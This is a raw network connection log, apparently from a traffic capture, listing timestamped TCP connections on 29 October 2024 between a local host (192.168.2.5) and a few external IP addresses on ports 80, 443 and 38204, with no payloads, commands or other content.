Oct 29, 2024 05:02:55.401124001 CET	80	49915	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:55.532686949 CET	49751	38204	192.168.2.5	150.241.90.56
Oct 29, 2024 05:02:55.732084990 CET	80	49915	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:55.732141018 CET	49915	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:55.732156038 CET	38204	49751	150.241.90.56	192.168.2.5
Oct 29, 2024 05:02:55.845716953 CET	49915	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:55.846050978 CET	49922	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:55.851386070 CET	80	49922	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:55.851402044 CET	80	49915	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:55.851506948 CET	49915	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:55.851521015 CET	49922	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:55.851706028 CET	49922	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:55.856987000 CET	80	49922	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:56.749578953 CET	80	49922	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:56.749727964 CET	49922	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:56.750477076 CET	49922	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:56.755764008 CET	80	49922	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:57.032737970 CET	80	49922	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:57.032814980 CET	49922	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:57.143059015 CET	49922	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:57.143435001 CET	49932	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:57.148772001 CET	80	49922	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:57.148783922 CET	80	49932	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:57.148832083 CET	49922	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:57.148871899 CET	49932	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:57.149038076 CET	49932	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:57.154269934 CET	80	49932	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:57.418908119 CET	443	49854	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:57.419130087 CET	49854	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:57.419147968 CET	443	49854	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:57.419198036 CET	49854	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:57.705562115 CET	49934	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:57.705636024 CET	443	49934	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:57.705735922 CET	49934	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:57.706139088 CET	49934	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:57.706178904 CET	443	49934	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:58.057560921 CET	80	49932	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:58.057651043 CET	49932	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:58.061794996 CET	49932	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:58.067172050 CET	80	49932	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:58.317390919 CET	443	49934	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:58.317481041 CET	49934	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:58.331965923 CET	49934	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:58.331989050 CET	443	49934	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:58.332741022 CET	443	49934	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:58.334125996 CET	49934	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:58.334264994 CET	49934	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:58.334348917 CET	443	49934	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:58.334446907 CET	49934	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:58.334455013 CET	443	49934	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:58.347537994 CET	80	49932	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:58.347754002 CET	49932	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:58.541713953 CET	49932	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:58.542068958 CET	49940	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:58.547348976 CET	80	49932	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:58.547384977 CET	80	49940	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:58.547404051 CET	49932	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:58.547466993 CET	49940	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:58.547641993 CET	49940	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:58.553128004 CET	80	49940	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:58.719469070 CET	49910	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:58.944639921 CET	443	49934	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:58.944752932 CET	443	49934	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:58.944895029 CET	49934	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:58.965522051 CET	49934	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:58.965537071 CET	443	49934	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:59.458734989 CET	80	49940	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:59.458801985 CET	49940	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:59.460253954 CET	49940	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:59.465542078 CET	80	49940	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:59.540987015 CET	49946	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:59.541044950 CET	443	49946	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:59.541143894 CET	49946	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:59.541481972 CET	49946	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:59.541496038 CET	443	49946	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:59.747757912 CET	80	49940	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:59.747831106 CET	49940	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:59.863147974 CET	49940	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:59.863617897 CET	49949	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:59.868941069 CET	80	49949	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:59.868957996 CET	80	49940	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:59.869019032 CET	49949	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:59.869066954 CET	49940	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:59.869369030 CET	49949	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:59.874625921 CET	80	49949	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:00.155206919 CET	443	49946	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:00.155330896 CET	49946	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:00.156948090 CET	49946	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:00.156980038 CET	443	49946	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:00.157531977 CET	443	49946	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:00.160331964 CET	49946	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:00.160568953 CET	49946	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:00.160737038 CET	443	49946	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:00.160856962 CET	49946	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:00.160877943 CET	443	49946	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:00.384417057 CET	49954	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:00.384510994 CET	443	49954	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:00.384629011 CET	49954	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:00.385814905 CET	49954	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:00.385852098 CET	443	49954	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:00.772855997 CET	80	49949	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:00.772914886 CET	49949	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:00.838150978 CET	49949	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:00.843583107 CET	80	49949	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:01.002675056 CET	443	49954	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:01.002754927 CET	49954	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:01.004055023 CET	49954	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:01.004067898 CET	443	49954	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:01.004853964 CET	443	49954	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:01.048145056 CET	49954	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:01.056175947 CET	49954	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:01.056210995 CET	49954	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:01.056480885 CET	443	49954	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:01.125340939 CET	80	49949	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:01.125395060 CET	49949	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:01.237968922 CET	49949	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:01.238385916 CET	49960	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:01.243743896 CET	80	49949	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:01.243798018 CET	80	49960	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:01.243812084 CET	49949	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:01.243875980 CET	49960	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:01.244069099 CET	49960	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:01.249370098 CET	80	49960	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:01.368534088 CET	443	49954	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:01.368877888 CET	443	49954	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:01.368943930 CET	49954	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:01.370578051 CET	49954	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:01.370584011 CET	443	49954	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:01.370609045 CET	49954	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:01.370614052 CET	443	49954	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:01.979219913 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:01.979260921 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:01.979347944 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:01.979902029 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:01.979928017 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:02.169058084 CET	80	49960	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:02.169120073 CET	49960	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:02.170659065 CET	49960	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:02.175941944 CET	80	49960	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:02.460400105 CET	80	49960	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:02.460475922 CET	49960	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:02.564441919 CET	49960	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:02.564764977 CET	49969	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:02.570178986 CET	80	49969	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:02.570259094 CET	49969	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:02.570420027 CET	49969	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:02.570648909 CET	80	49960	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:02.570776939 CET	49960	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:02.575717926 CET	80	49969	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:02.592663050 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:02.592761993 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:02.594122887 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:02.594151974 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:02.594510078 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:02.597445011 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:02.597620964 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:02.597659111 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.064409018 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.064487934 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.064527035 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.064557076 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.064587116 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.064623117 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.064656973 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.064670086 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.064670086 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.064712048 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.064749002 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.064790964 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.205457926 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.205523968 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.205588102 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.205621958 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.205852985 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.205884933 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.205945015 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.205980062 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.206000090 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.206032038 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.206058025 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.206163883 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.206196070 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.206222057 CET	49965	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.206237078 CET	443	49965	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.403354883 CET	49975	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.403409004 CET	443	49975	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.403484106 CET	49975	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.403774023 CET	49975	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:03.403791904 CET	443	49975	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:03.469765902 CET	80	49969	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:03.470088959 CET	49969	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:03.470841885 CET	49969	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:03.476275921 CET	80	49969	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:03.751744032 CET	80	49969	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:03.751831055 CET	49969	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:03.865319014 CET	49969	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:03.865722895 CET	49979	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:03.871140957 CET	80	49979	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:03.871184111 CET	80	49969	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:03.871211052 CET	49979	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:03.871260881 CET	49969	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:03.872592926 CET	49979	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:03.877938986 CET	80	49979	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:04.035237074 CET	443	49975	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:04.035458088 CET	49975	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:04.047178030 CET	49975	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:04.047205925 CET	443	49975	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:04.047552109 CET	443	49975	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:04.049068928 CET	49975	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:04.049159050 CET	49975	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:04.049195051 CET	443	49975	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:04.770335913 CET	80	49979	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:04.770406008 CET	49979	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:04.773118973 CET	49979	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:04.778614044 CET	80	49979	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:05.056555986 CET	80	49979	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:05.060311079 CET	49979	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:05.173959970 CET	49979	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:05.174174070 CET	49987	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:05.179481983 CET	80	49987	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:05.179718018 CET	80	49979	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:05.179833889 CET	49979	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:05.179841042 CET	49987	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:05.179941893 CET	49987	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:05.185306072 CET	80	49987	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:06.092755079 CET	80	49987	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:06.092813015 CET	49987	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:06.093427896 CET	49987	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:06.098742008 CET	80	49987	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:06.378108025 CET	80	49987	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:06.378185034 CET	49987	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:06.487451077 CET	49987	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:06.487723112 CET	49996	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:06.493078947 CET	80	49987	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:06.493119955 CET	80	49996	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:06.493138075 CET	49987	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:06.493191957 CET	49996	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:06.493333101 CET	49996	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:06.498668909 CET	80	49996	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:07.388910055 CET	80	49996	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:07.388974905 CET	49996	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:07.389671087 CET	49996	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:07.395131111 CET	80	49996	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:07.669255972 CET	80	49996	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:07.669470072 CET	49996	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:07.783236027 CET	49996	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:07.783546925 CET	50002	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:07.788949966 CET	80	50002	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:07.789074898 CET	50002	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:07.789174080 CET	50002	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:07.789331913 CET	80	49996	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:07.789407015 CET	49996	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:07.794677019 CET	80	50002	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:07.863118887 CET	443	49975	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:07.863198042 CET	443	49975	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:07.863306999 CET	49975	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:07.863491058 CET	49975	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:07.863504887 CET	443	49975	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:07.968638897 CET	443	49946	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:07.968914032 CET	49946	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:07.968930960 CET	443	49946	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:07.968992949 CET	49946	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:08.100512028 CET	50005	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:08.100563049 CET	443	50005	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:08.100636959 CET	50005	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:08.100961924 CET	50005	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:08.100981951 CET	443	50005	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:08.641637087 CET	50009	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:08.641673088 CET	443	50009	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:08.641763926 CET	50009	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:08.642117977 CET	50009	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:08.642136097 CET	443	50009	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:08.695883989 CET	80	50002	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:08.695945978 CET	50002	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:08.696727037 CET	50002	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:08.702079058 CET	80	50002	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:08.718832970 CET	443	50005	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:08.718915939 CET	50005	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:08.720293045 CET	50005	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:08.720316887 CET	443	50005	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:08.720680952 CET	443	50005	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:08.721986055 CET	50005	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:08.722109079 CET	50005	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:08.722147942 CET	443	50005	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:08.722198009 CET	50005	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:08.722209930 CET	443	50005	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:08.982944012 CET	80	50002	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:08.983009100 CET	50002	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:09.152192116 CET	50002	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:09.152563095 CET	50012	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:09.157962084 CET	80	50012	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:09.157989979 CET	80	50002	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:09.158061028 CET	50002	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:09.158078909 CET	50012	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:09.252140999 CET	443	50009	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:09.252368927 CET	50009	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:09.284786940 CET	443	50005	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:09.284945965 CET	443	50005	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:09.285166025 CET	50005	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:09.315872908 CET	50012	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:09.321247101 CET	80	50012	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:09.417980909 CET	50009	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:09.418004036 CET	443	50009	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:09.418181896 CET	50005	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:09.418252945 CET	443	50005	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:09.419001102 CET	443	50009	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:09.424412966 CET	50009	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:09.424493074 CET	50009	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:09.424498081 CET	443	50009	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:09.831815004 CET	50017	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:09.831862926 CET	443	50017	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:09.831965923 CET	50017	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:09.832397938 CET	50017	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:09.832412004 CET	443	50017	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:10.067852974 CET	80	50012	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:10.067924976 CET	50012	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:10.068675995 CET	50012	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:10.073942900 CET	80	50012	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:10.354779005 CET	80	50012	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:10.354856014 CET	50012	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:10.448458910 CET	443	50017	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:10.448546886 CET	50017	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:10.449831009 CET	50017	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:10.449847937 CET	443	50017	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:10.450248957 CET	443	50017	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:10.451380014 CET	50017	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:10.451545000 CET	50017	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:10.451582909 CET	443	50017	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:10.451652050 CET	50017	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:10.451663017 CET	443	50017	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:10.472564936 CET	50012	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:10.472872972 CET	50019	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:10.478368998 CET	80	50019	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:10.478442907 CET	80	50012	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:10.478460073 CET	50019	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:10.478518963 CET	50012	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:10.478720903 CET	50019	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:10.484055996 CET	80	50019	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:10.719445944 CET	50020	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:03:10.725203991 CET	80	50020	185.215.113.206	192.168.2.5
